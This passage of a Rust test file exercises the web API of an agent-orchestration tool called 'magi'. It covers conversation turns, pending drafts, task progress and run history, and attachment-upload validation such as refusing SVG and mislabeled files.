13000 } else {
13001 assert_eq!(progress["state"], "incomplete");
13002 assert_eq!(progress["done"], 0);
13003 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13004 }
13005 }
13006 }
13007
13008 #[test]
13009 fn talk_task_progress_counts_mixed_statuses() {
13010 let mut tasks: Vec<_> = [
13011 TaskStatus::Queued,
13012 TaskStatus::Running,
13013 TaskStatus::Held,
13014 TaskStatus::Failed,
13015 TaskStatus::Blocked,
13016 TaskStatus::Parked,
13017 TaskStatus::Done,
13018 ]
13019 .into_iter()
13020 .map(|status| {
13021 let mut task = Task::new(
13022 "task".into(),
13023 "task".into(),
13024 PathBuf::from("/repo"),
13025 Source::Human,
13026 );
13027 task.status = status;
13028 task
13029 })
13030 .collect();
13031 let progress = talk_task_progress(&tasks);
13032 assert_eq!(progress.state, "incomplete");
13033 assert_eq!(progress.total, 7);
13034 assert_eq!(progress.done, 1);
13035 assert_eq!(progress.unfinished_ids.len(), 6);
13036 assert!(progress.counts.values().all(|count| *count == 1));
13037 assert_eq!(
13038 progress.unfinished_ids,
13039 tasks[..6]
13040 .iter()
13041 .map(|task| task.id.clone())
13042 .collect::<Vec<_>>()
13043 );
13044
13045 for task in &mut tasks {
13046 task.status = TaskStatus::Done;
13047 }
13048 let complete = talk_task_progress(&tasks);
13049 assert_eq!(complete.state, "complete");
13050 assert_eq!(complete.done, 7);
13051 assert!(complete.unfinished_ids.is_empty());
13052 tasks[0].status = TaskStatus::Queued;
13053 let requeued = talk_task_progress(&tasks);
13054 assert_eq!(requeued.state, "incomplete");
13055 assert_eq!(requeued.done, 6);
13056 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13057
13058 let empty = talk_task_progress(&[]);
13059 assert_eq!(empty.state, "none");
13060 assert_eq!(empty.total, 0);
13061 assert_eq!(empty.done, 0);
13062 assert!(empty.unfinished_ids.is_empty());
13063 assert!(empty.counts.values().all(|count| *count == 0));
13064 }
13065
13066 #[tokio::test]
13067 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13068 let (_tmp, _repo, f) = talk_fixture().await;
13069 let id = f.post("/api/talks", None).await.json()["id"]
13070 .as_str()
13071 .expect("id")
13072 .to_owned();
13073
13074 let res = f
13075 .post(
13076 &format!("/api/talks/{id}/say"),
13077 Some(r#"{"text":"what does the queue module do?"}"#),
13078 )
13079 .await;
13080 assert_eq!(res.status, 202, "{}", res.body);
13081 let queued = res.json();
13082 let turns = queued["turns"].as_array().expect("turns array");
13083 assert_eq!(
13084 turns.len(),
13085 1,
13086 "the answer reflects only what is on disk the instant it is sent, \
13087 before the agent's turn - which can run for the whole of \
13088 `[graph] timeout_talk` - has a chance to land: {queued}"
13089 );
13090 assert_eq!(turns[0]["who"], "operator");
13091 assert_eq!(turns[0]["body"], "what does the queue module do?");
13092 assert_eq!(
13093 queued["thinking"], true,
13094 "the accepted response exposes the background turn claim: {queued}"
13095 );
13096
13097 let mut turns_after = 1;
13098 for _ in 0..SETTLE_STEPS {
13099 let detail = f.get(&format!("/api/talks/{id}")).await.json();
13100 turns_after = detail["turns"].as_array().expect("turns array").len();
13101 if turns_after == 2 {
13102 break;
13103 }
13104 tokio::time::sleep(Duration::from_millis(10)).await;
13105 }
13106 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13107 }
13108
13109 #[tokio::test]
13136 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13137 let tmp = TempDir::new().expect("tempdir");
13138 let repo = tmp.path().join("repo");
13139 std::fs::create_dir_all(&repo).expect("repo dir");
13140 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13141 let home = TempDir::new().expect("temp home");
13142 let talks = Talks::at(home.path().join("talks"));
13143 let ui = Arc::new(
13144 Ui::new(
13145 Queue::at(home.path().join("queue")),
13146 Questions::at(home.path().join("questions")),
13147 talks.clone(),
13148 home.path().join("runs"),
13149 home.path().to_path_buf(),
13150 repo.clone(),
13151 )
13152 .with_worktrees_root(home.path().join("wt")),
13153 );
13154 let cfg = config_for(&repo).await.expect("discover config");
13155
13156 for delay in 0..40u32 {
13157 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13158 let id = talk.id.clone();
13159
13160 let handler = tokio::spawn(talk_say(
13161 State(Arc::clone(&ui)),
13162 Path(id.clone()),
13163 Ok(Json(NewTalkTurn {
13164 reply_to: None,
13165 text: "what does the queue module do?".to_owned(),
13166 attachments: Vec::new(),
13167 })),
13168 ));
13169 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13170 handler.abort();
13171 let _ = handler.await;
13174
13175 let mut turns = 0;
13176 for _ in 0..SETTLE_STEPS {
13177 if let Ok(fresh) = talks.get(&id) {
13178 turns = fresh.turns.len();
13179 if turns != 1 {
13180 break;
13181 }
13182 }
13183 tokio::time::sleep(Duration::from_millis(10)).await;
13184 }
13185 assert_ne!(
13186 turns, 1,
13187 "delay {delay}: talk {id} recorded the operator's turn but \
13188 the agent never answered - the reply task was never \
13189 started after the handler future was dropped"
13190 );
13191 }
13192 }
13193
13194 #[tokio::test]
13239 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13240 let tmp = TempDir::new().expect("tempdir");
13241 let repo = tmp.path().join("repo");
13242 std::fs::create_dir_all(&repo).expect("repo dir");
13243 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13244 let home = TempDir::new().expect("temp home");
13245 let talks = Talks::at(home.path().join("talks"));
13246 let ui = Arc::new(
13247 Ui::new(
13248 Queue::at(home.path().join("queue")),
13249 Questions::at(home.path().join("questions")),
13250 talks.clone(),
13251 home.path().join("runs"),
13252 home.path().to_path_buf(),
13253 repo.clone(),
13254 )
13255 .with_worktrees_root(home.path().join("wt")),
13256 );
13257 let cfg = config_for(&repo).await.expect("discover config");
13258
13259 for attempt in 0..3u32 {
13260 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13261 let id = talk.id.clone();
13262 let turn_guard = ui
13265 .begin_talk_turn(&id)
13266 .expect("claim the turn")
13267 .expect("a fresh talk owes nobody a turn");
13268
13269 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13270 let (release_tx, release_rx) = std::sync::mpsc::channel();
13271 ui.set_busy_queue_gate(BusyQueueGate {
13272 reached: reached_tx,
13273 release: release_rx,
13274 });
13275
13276 let handler = tokio::spawn(talk_say(
13277 State(Arc::clone(&ui)),
13278 Path(id.clone()),
13279 Ok(Json(NewTalkTurn {
13280 reply_to: None,
13281 text: "what does the queue module do?".to_owned(),
13282 attachments: Vec::new(),
13283 })),
13284 ));
13285
13286 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13291 .await
13292 .unwrap_or_else(|_| {
13293 panic!(
13294 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13295 )
13296 })
13297 .expect("the busy branch dropped the gate without using it");
13298
13299 let running = talks.get(&id).expect("reload talk");
13306 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13307
13308 handler.abort();
13312 let _ = handler.await;
13313
13314 let _ = release_tx.send(());
13320
13321 let mut fresh = talks.get(&id).expect("reload talk");
13324 for _ in 0..SETTLE_STEPS {
13325 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13326 break;
13327 }
13328 tokio::time::sleep(Duration::from_millis(10)).await;
13329 fresh = talks.get(&id).expect("reload talk");
13330 }
13331 assert!(
13332 fresh.pending.is_empty() && fresh.turns.len() == 2,
13333 "attempt {attempt}: talk {id} left the operator's text queued \
13334 with no drainer - the reclaimed turn was dropped along with \
13335 the handler future (pending {:?}, {} turns)",
13336 fresh.pending,
13337 fresh.turns.len()
13338 );
13339 }
13340 }
13341
13342 #[tokio::test]
13343 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13344 let (_tmp, _repo, f) = talk_fixture().await;
13345 let id = f.post("/api/talks", None).await.json()["id"]
13346 .as_str()
13347 .expect("id")
13348 .to_owned();
13349 let store = f.talks();
13350 let mut recovered = store.get(&id).expect("opened talk");
13351 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13352 .expect("persist pending draft without a live turn");
13353
13354 let edited = f
13355 .post(
13356 &format!("/api/talks/{id}/pending/edit"),
13357 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13358 )
13359 .await;
13360 assert_eq!(edited.status, 200, "{}", edited.body);
13361 assert!(edited.json()["thinking"].as_bool().unwrap());
13362
13363 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13364 for _ in 0..SETTLE_STEPS {
13365 if detail["turns"].as_array().expect("turns").len() == 2 {
13366 break;
13367 }
13368 tokio::time::sleep(Duration::from_millis(10)).await;
13369 detail = f.get(&format!("/api/talks/{id}")).await.json();
13370 }
13371 let turns = detail["turns"].as_array().expect("turns");
13372 assert_eq!(
13373 turns.len(),
13374 2,
13375 "the recovered draft must run once: {detail}"
13376 );
13377 assert_eq!(turns[0]["body"], "corrected");
13378 assert_eq!(detail["pending"], "");
13379 }
13380
13381 #[tokio::test]
13382 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13383 let tmp = TempDir::new().expect("tempdir");
13384 let repo = tmp.path().join("repo");
13385 std::fs::create_dir_all(&repo).expect("repo dir");
13386 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13387 let f = Fixture::with_repo(repo).await;
13388 let id = f.post("/api/talks", None).await.json()["id"]
13389 .as_str()
13390 .expect("id")
13391 .to_owned();
13392 let store = f.talks();
13393 let mut recovered = store.get(&id).expect("opened talk");
13394 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13395 .expect("persist pending draft without a live turn");
13396
13397 let refused = f
13398 .post(
13399 &format!("/api/talks/{id}/say"),
13400 Some(r#"{"text":"new message"}"#),
13401 )
13402 .await;
13403 assert_eq!(refused.status, 409, "{}", refused.body);
13404 assert!(refused.body.contains("resume"), "{}", refused.body);
13405 let saved = store.get(&id).expect("draft remains after refusal");
13406 assert!(saved.turns.is_empty());
13407 assert_eq!(saved.pending, "saved before restart");
13408
13409 let say_path = format!("/api/talks/{id}/say");
13410 let (first, second) = tokio::join!(
13411 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13412 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13413 );
13414 assert_eq!(first.status, 409, "{}", first.body);
13415 assert_eq!(second.status, 409, "{}", second.body);
13416 let saved = store
13417 .get(&id)
13418 .expect("draft remains after concurrent refusals");
13419 assert!(saved.turns.is_empty());
13420 assert_eq!(saved.pending, "saved before restart");
13421
13422 let resumed = f
13423 .post(&format!("/api/talks/{id}/pending/resume"), None)
13424 .await;
13425 assert_eq!(resumed.status, 202, "{}", resumed.body);
13426 let duplicate = f
13427 .post(&format!("/api/talks/{id}/pending/resume"), None)
13428 .await;
13429 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13430
13431 for _ in 0..SETTLE_STEPS {
13432 if store.get(&id).expect("talk").turns.len() == 2 {
13433 break;
13434 }
13435 tokio::time::sleep(Duration::from_millis(10)).await;
13436 }
13437 let finished = store.get(&id).expect("finished talk");
13438 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13439 assert_eq!(finished.turns[0].body, "saved before restart");
13440 assert!(finished.pending.is_empty());
13441 }
13442
13443 #[tokio::test]
13444 async fn an_image_only_recovered_draft_resumes_without_text() {
13445 let (_tmp, _repo, f) = talk_fixture().await;
13446 let id = f.post("/api/talks", None).await.json()["id"]
13447 .as_str()
13448 .expect("id")
13449 .to_owned();
13450 let uploaded = f
13451 .post_bytes(
13452 &format!("/api/talks/{id}/attachments"),
13453 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13454 PNG_BYTES,
13455 )
13456 .await;
13457 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13458 let attachment = f
13459 .talks()
13460 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13461 .expect("attachment metadata")
13462 .expect("stored attachment");
13463 let store = f.talks();
13464 let mut recovered = store.get(&id).expect("opened talk");
13465 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13466
13467 let resumed = f
13468 .post(&format!("/api/talks/{id}/pending/resume"), None)
13469 .await;
13470 assert_eq!(resumed.status, 202, "{}", resumed.body);
13471 for _ in 0..SETTLE_STEPS {
13472 if store.get(&id).expect("talk").turns.len() == 2 {
13473 break;
13474 }
13475 tokio::time::sleep(Duration::from_millis(10)).await;
13476 }
13477 let finished = store.get(&id).expect("finished talk");
13478 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13479 assert!(finished.turns[0].body.is_empty());
13480 assert_eq!(finished.turns[0].attachments.len(), 1);
13481 assert!(finished.pending_attachments.is_empty());
13482 }
13483
13484 #[tokio::test]
13485 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13486 let (_tmp, _repo, f) = talk_fixture().await;
13487 let id = f.post("/api/talks", None).await.json()["id"]
13488 .as_str()
13489 .expect("id")
13490 .to_owned();
13491 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13492 assert_eq!(closed.status, 200, "{}", closed.body);
13493 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13494 .expect("serialize closed talk");
13495 for (path, body) in [
13496 (format!("/api/talks/{id}/pending/resume"), None),
13497 (
13498 format!("/api/talks/{id}/pending/clear"),
13499 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13500 ),
13501 (
13502 format!("/api/talks/{id}/pending/edit"),
13503 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13504 ),
13505 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13506 ] {
13507 let response = f.post(&path, body).await;
13508 assert_eq!(response.status, 409, "{}", response.body);
13509 }
13510 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13511 .expect("serialize closed talk");
13512 assert_eq!(
13513 after_clear, before_clear,
13514 "clear must not rewrite a closed talk"
13515 );
13516 }
13517
13518 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13521
13522 #[tokio::test]
13523 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13524 let tmp = TempDir::new().expect("tempdir");
13525 let repo = tmp.path().join("repo");
13526 std::fs::create_dir_all(&repo).expect("repo dir");
13527 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13528 let f = Fixture::with_repo(repo).await;
13529 let id_a = f.post("/api/talks", None).await.json()["id"]
13530 .as_str()
13531 .unwrap()
13532 .to_owned();
13533 let id_b = f.post("/api/talks", None).await.json()["id"]
13534 .as_str()
13535 .unwrap()
13536 .to_owned();
13537
13538 let a = f
13539 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13540 .await;
13541 assert_eq!(a.status, 202, "{}", a.body);
13542 assert_eq!(a.json()["thinking"], true);
13543 let b = f
13544 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13545 .await;
13546 assert_eq!(b.status, 202, "{}", b.body);
13547 assert_eq!(b.json()["thinking"], true);
13548
13549 let listed = f.get("/api/talks").await.json();
13550 for id in [&id_a, &id_b] {
13551 let view = listed
13552 .as_array()
13553 .unwrap()
13554 .iter()
13555 .find(|talk| talk["id"] == *id)
13556 .unwrap();
13557 assert_eq!(view["thinking"], true, "{listed}");
13558 }
13559 let repeated = f
13560 .post(
13561 &format!("/api/talks/{id_a}/say"),
13562 Some(r#"{"text":"again"}"#),
13563 )
13564 .await;
13565 assert_eq!(repeated.status, 202, "{}", repeated.body);
13566 assert_eq!(repeated.json()["pending"], "again");
13567 }
13568
13569 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13572
13573 #[tokio::test]
13574 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13575 let f = Fixture::start().await;
13576 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13577
13578 let res = f
13579 .post_bytes(
13580 &format!("/api/talks/{id}/attachments"),
13581 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13582 PNG_BYTES,
13583 )
13584 .await;
13585 assert_eq!(res.status, 201, "{}", res.body);
13586 let body = res.json();
13587 assert_eq!(body["name"], "shot.png");
13588 assert_eq!(body["mime"], "image/png");
13589 assert_eq!(body["bytes"], PNG_BYTES.len());
13590 let att_id = body["id"].as_str().expect("id").to_owned();
13591 assert_eq!(
13592 att_id.len(),
13593 32,
13594 "the id must never be a client-suppliable path: {att_id}"
13595 );
13596
13597 let got = f
13598 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13599 .await;
13600 assert_eq!(got.status, 200, "{}", got.body);
13601 assert_eq!(got.header("content-type"), Some("image/png"));
13602 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13603 assert_eq!(got.bytes, PNG_BYTES);
13604 }
13605
13606 #[tokio::test]
13607 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13608 let f = Fixture::start().await;
13609 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13610
13611 let svg = f
13614 .post_bytes(
13615 &format!("/api/talks/{id}/attachments"),
13616 &[("Content-Type", "image/svg+xml")],
13617 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13618 )
13619 .await;
13620 assert!(
13621 (400..500).contains(&svg.status),
13622 "svg must be refused: {} {}",
13623 svg.status,
13624 svg.body
13625 );
13626 assert!(svg.body.contains("SVG"), "{}", svg.body);
13627
13628 let text = f
13629 .post_bytes(
13630 &format!("/api/talks/{id}/attachments"),
13631 &[("Content-Type", "text/plain")],
13632 b"just some text",
13633 )
13634 .await;
13635 assert!(
13636 (400..500).contains(&text.status),
13637 "an unlisted type must be refused: {} {}",
13638 text.status,
13639 text.body
13640 );
13641
13642 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13645 let big = f
13646 .post_bytes(
13647 &format!("/api/talks/{id}/attachments"),
13648 &[("Content-Type", "image/png")],
13649 &oversized,
13650 )
13651 .await;
13652 assert_eq!(
13653 big.status,
13654 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13655 "{}",
13656 big.body
13657 );
13658 }
13659
13660 #[tokio::test]
13661 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13662 let f = Fixture::start().await;
13663 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13664
13665 let res = f
13668 .post_bytes(
13669 &format!("/api/talks/{id}/attachments"),
13670 &[("Content-Type", "image/png")],
13671 b"<html>not a picture</html>",
13672 )
13673 .await;
13674 assert!((400..500).contains(&res.status), "{}", res.body);
13675 }
13676
13677 #[tokio::test]
13678 async fn an_unknown_attachment_id_is_a_404() {
13679 let f = Fixture::start().await;
13680 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13681
13682 let res = f
13683 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13684 .await;
13685 assert_eq!(res.status, 404, "{}", res.body);
13686 }
13687
13688 #[tokio::test]
13689 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13690 let f = Fixture::start().await;
13691 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13692
13693 let uploaded = f
13694 .post_bytes(
13695 &format!("/api/talks/{id}/attachments"),
13696 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13697 PNG_BYTES,
13698 )
13699 .await;
13700 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13701 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13702
13703 let res = f
13704 .post(
13705 &format!("/api/talks/{id}/say"),
13706 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13707 )
13708 .await;
13709 assert_eq!(res.status, 202, "{}", res.body);
13710 let queued = res.json();
13711 let turns = queued["turns"].as_array().expect("turns array");
13712 assert_eq!(
13713 turns.len(),
13714 1,
13715 "an empty body with an attachment is still a turn: {queued}"
13716 );
13717 assert_eq!(turns[0]["who"], "operator");
13718 assert_eq!(turns[0]["body"], "");
13719 let atts = turns[0]["attachments"]
13720 .as_array()
13721 .expect("attachments array");
13722 assert_eq!(atts.len(), 1);
13723 assert_eq!(atts[0]["id"], att_id);
13724 assert_eq!(atts[0]["mime"], "image/png");
13725
13726 let on_disk = f.talks().get(&id).expect("get");
13729 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13730 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13731 }
13732
13733 #[tokio::test]
13734 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13735 let f = Fixture::start().await;
13736 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13737
13738 let res = f
13739 .post(
13740 &format!("/api/talks/{id}/say"),
13741 Some(&format!(
13742 r#"{{"text":"hi","attachments":["{}"]}}"#,
13743 "a".repeat(32)
13744 )),
13745 )
13746 .await;
13747 assert!((400..500).contains(&res.status), "{}", res.body);
13748 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13749
13750 let on_disk = f.talks().get(&id).expect("get");
13751 assert!(
13752 on_disk.turns.is_empty(),
13753 "a rejected attachment id must not partially record the turn: {:?}",
13754 on_disk.turns
13755 );
13756 }
13757
13758 #[tokio::test]
13759 async fn talk_close_makes_the_talk_refuse_further_turns() {
13760 let f = Fixture::start().await;
13761 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13762
13763 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13764 assert_eq!(closed.status, 200, "{}", closed.body);
13765 assert_eq!(closed.json()["status"], "closed");
13766
13767 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13769 assert_eq!(closed_again.status, 200);
13770 assert_eq!(closed_again.json()["status"], "closed");
13771
13772 let said = f
13773 .post(
13774 &format!("/api/talks/{id}/say"),
13775 Some(r#"{"text":"too late"}"#),
13776 )
13777 .await;
13778 assert_eq!(said.status, 409, "{}", said.body);
13779 }
13780
13781 #[tokio::test]
13782 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13783 let (_tmp, _repo, f) = talk_fixture().await;
13784 let id = f.post("/api/talks", None).await.json()["id"]
13785 .as_str()
13786 .expect("id")
13787 .to_owned();
13788 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13789 assert_eq!(closed.status, 200, "{}", closed.body);
13790
13791 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13792 assert_eq!(reopened.status, 200, "{}", reopened.body);
13793 assert_eq!(reopened.json()["status"], "open");
13794
13795 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13797 assert_eq!(reopened_again.status, 200);
13798 assert_eq!(reopened_again.json()["status"], "open");
13799
13800 let said = f
13801 .post(
13802 &format!("/api/talks/{id}/say"),
13803 Some(r#"{"text":"still there?"}"#),
13804 )
13805 .await;
13806 assert_eq!(
13807 said.status, 202,
13808 "a reopened talk accepts turns again: {}",
13809 said.body
13810 );
13811 }
13812
13813 #[tokio::test]
13814 async fn talk_reopen_on_an_unknown_id_is_404() {
13815 let f = Fixture::start().await;
13816 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13817 assert_eq!(res.status, 404, "{}", res.body);
13818 }
13819
13820 #[tokio::test]
13821 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13822 let f = Fixture::start().await;
13823 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13824
13825 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13826 assert_eq!(deleted.status, 204, "{}", deleted.body);
13827
13828 let after = f.get(&format!("/api/talks/{id}")).await;
13829 assert_eq!(after.status, 404, "{}", after.body);
13830
13831 let listed = f.get("/api/talks").await.json();
13832 assert!(
13833 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13834 "a deleted talk must not linger in the list: {listed}"
13835 );
13836 }
13837
13838 #[tokio::test]
13839 async fn talk_delete_on_an_unknown_id_is_404() {
13840 let f = Fixture::start().await;
13841 let res = f.delete("/api/talks/nonexistent-id").await;
13842 assert_eq!(res.status, 404, "{}", res.body);
13843 }
13844
13845 #[tokio::test]
13849 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13850 let f = Fixture::start().await;
13851 let (a, b, gone) = (
13852 "20260902-140501-aaaa",
13853 "20260902-140502-bbbb",
13854 "20260902-140503-cccc",
13855 );
13856 write_run(&f.runs(), a, RunStatus::Stalled);
13857 let mut review = RunState::new(
13858 PathBuf::from("/repo/magi"),
13859 "main".to_owned(),
13860 "0123456789abcdef".to_owned(),
13861 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13862 .to_owned(),
13863 Config::default(),
13864 );
13865 review.id = b.to_owned();
13866 review.status = RunStatus::Merged;
13867 write_state(&f.runs(), &review);
13868
13869 let mut task = Task::new(
13870 "retry".to_owned(),
13871 "Do the thing".to_owned(),
13872 PathBuf::from("/repo/magi"),
13873 Source::Human,
13874 );
13875 task.start(a.to_owned());
13876 task.stall("quota");
13877 task.start(a.to_owned());
13878 task.start(b.to_owned());
13879 task.start(gone.to_owned());
13880 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13882 f.queue().put(&mut task).expect("file the task");
13883
13884 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13885 assert_eq!(res.status, 200, "{}", res.body);
13886 let v = res.json();
13887 let h = v["history"].as_array().expect("history");
13888 assert_eq!(h.len(), 4, "{v}");
13889 assert_eq!(h[0]["kind"], "competition");
13890 assert_eq!(h[0]["status"], "stalled");
13891 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13892 assert_eq!(h[1]["kind"], "resume", "{v}");
13893 assert!(
13894 h[0]["outcome"]
13895 .as_str()
13896 .unwrap()
13897 .contains("unknown. Pass #2"),
13898 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13899 );
13900 assert!(
13901 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13902 "{v}"
13903 );
13904 assert!(
13905 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13906 "an unrecorded cause must not be narrated as an operator park: {v}"
13907 );
13908 assert_eq!(h[2]["kind"], "review");
13909 assert!(
13910 h[2]["description"]
13911 .as_str()
13912 .unwrap()
13913 .contains("magi/aaaa/A")
13914 );
13915 assert_eq!(h[2]["status"], "merged");
13916 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13917 assert_eq!(v["runs_unreadable"], 1);
13918 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13919 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13920 assert_eq!(nodes[4]["note"], "unreadable");
13921 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13922 assert_eq!(v["instruction"], "Do the thing");
13923 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13924
13925 let run = f.get(&format!("/api/runs/{a}")).await.json();
13927 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13928
13929 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13930 }
13931
13932 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13933 let mut s = RunState::new(
13934 PathBuf::from("/repo/magi"),
13935 "main".to_owned(),
13936 "0123456789abcdef".to_owned(),
13937 "Do it".to_owned(),
13938 Config::default(),
13939 );
13940 s.status = status;
13941 edit(&mut s);
13942 s
13943 }
13944
13945 fn flow_task(runs: &[&str]) -> Task {
13946 let mut t = Task::new(
13947 "t".to_owned(),
13948 "Do it".to_owned(),
13949 PathBuf::from("/repo/magi"),
13950 Source::Human,
13951 );
13952 for r in runs {
13953 t.start((*r).to_owned());
13954 }
13955 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13957 t
13958 }
13959
13960 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13961 let h = task_history(task, |id| {
13962 states
13963 .iter()
13964 .find(|(i, _)| *i == id)
13965 .and_then(|(_, s)| s.clone())
13966 });
13967 task_flow(task, &h, 5, None)
13968 }
13969
13970 #[test]
13971 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13972 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13973 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13974 let first = "2026-10-10T02:00:00Z".parse().unwrap();
13975 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13976 let held = "2026-10-10T04:00:00Z".parse().unwrap();
13977 let run = flow_run(RunStatus::Implementing, |s| {
13978 s.created_at = created;
13979 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13980 s.passes[0].started_at = first;
13981 s.passes[1].started_at = resumed;
13982 });
13983 let mut task = flow_task(&[RUN_X, RUN_X]);
13984 task.created_at = queued;
13985 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13986 task.status = TaskStatus::Held;
13987 task.held_at = Some(held);
13988 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13989 assert_eq!(
13990 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13991 vec![Some(queued), Some(first), Some(resumed), Some(held)]
13992 );
13993 assert!(flow.nodes.iter().all(|n| n.time_expected));
13994 let json = serde_json::to_value(&flow).unwrap();
13995 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13996 assert_eq!(json["nodes"][2]["time_expected"], true);
13997 }
13998
13999 #[test]
14000 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
